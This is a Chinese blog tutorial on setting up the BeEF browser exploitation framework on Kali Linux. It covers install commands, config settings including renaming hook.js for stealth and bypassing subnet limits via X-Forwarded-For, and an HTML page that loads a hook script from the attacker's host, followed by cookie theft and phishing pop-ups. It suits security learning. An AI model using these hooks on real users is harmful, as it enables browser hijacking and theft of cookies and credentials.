kali之beef的使用
一、beef介绍
BeeF是前欧美最流行的web框架攻击平台,kali 集成Beef,而且Beef有很多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机,强大的有些吓人。
beef也是属于c/s结构,具体看图
zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可 以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
二、kali下使用beef
kali默认已经安装了beef,但是我的kali没有,我也不知道为什么0.0,那就自己装一个吧。命令:
apt install beef-xss
kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器
systemctl start beef-xss.service #开启beef
systemctl stop beef-xss.service #关闭beef
systemctl restart beef-xss.service #重启beef
配置beef
kali下的BeeF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录 下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下config.yaml,建议修改几个地方:
### 指定某个网段,只有在这个网段的浏览器才能被hookpermitted_hooking_subnet: "0.0.0.0/0"
### 指定某个网段,只有在这个网段的浏览器才能访问管理UI permitted_ui_subnet: "0.0.0.0/0" ### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
### 设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认host: "0.0.0.0"
### 设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024port: "3000"
### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。 xhr_poll_timeout: 1000 #public: "" # public hostname/IP address
#public_port: "" # experimental
### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面web_ui_basepath: "/ui"
### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性hook_file: "/hook.js" ### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的credentials: user: "beef" passwd: "beef"
实际操作
接下来实际使用BeEF,体验一下。首先修改监听的ip地址为kali的ip
开启BeEF服务器,接着用浏览器访问管理页面http://192.168.133.131:30 00/ui/panel, 使用设置的用户/密码登录。
接着访问有勾子的页面http://192.168.133.131:3000/demos/basic.html 这里的主机名和端口号要按照你设置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要 使用其他浏览器来访问有勾子的页面。
下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:
<html>
<head>
<script src='http://192.168.133.131:3000/hook.js'></script> <!-- 这里的主机和端口号,需要 和配置文件的一致。 -->
</head>
<body> Hello World </body>
</html>
接着使用一个浏览器来打开,那么这个浏览器就会被hook了。 查看管理页面UI会是类似下面图:
接着我们就可以在commands里面进行各种操作了比如
获取cookie
网页重定向
社工弹窗
目标机页面
如果对方输入了信息,kali还能接收到。
在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:
绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转 等)
灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
红色:命令模块不适用于此目标
本文所介绍技术仅供参考学习,切勿恶意用途
推荐阅读
-
Vue源码解析之数据响应系统的使用
-
android开发之调用手机的摄像头使用MediaRecorder录像并播放
-
android应用开发之spinner控件的简单使用
-
PHP小技巧之JS和CSS优化工具Minify的使用方法
-
Element-UI踩坑之Pagination组件的使用
-
在JavaScript中操作时间之setYear()方法的使用
-
webpack实践之DLLPlugin 和 DLLReferencePlugin的使用教程
-
微信小游戏之使用three.js 绘制一个旋转的三角形
-
Android ListView之EfficientAdapte的使用详解
-
Android 数据存储之 FileInputStream 工具类及FileInputStream类的使用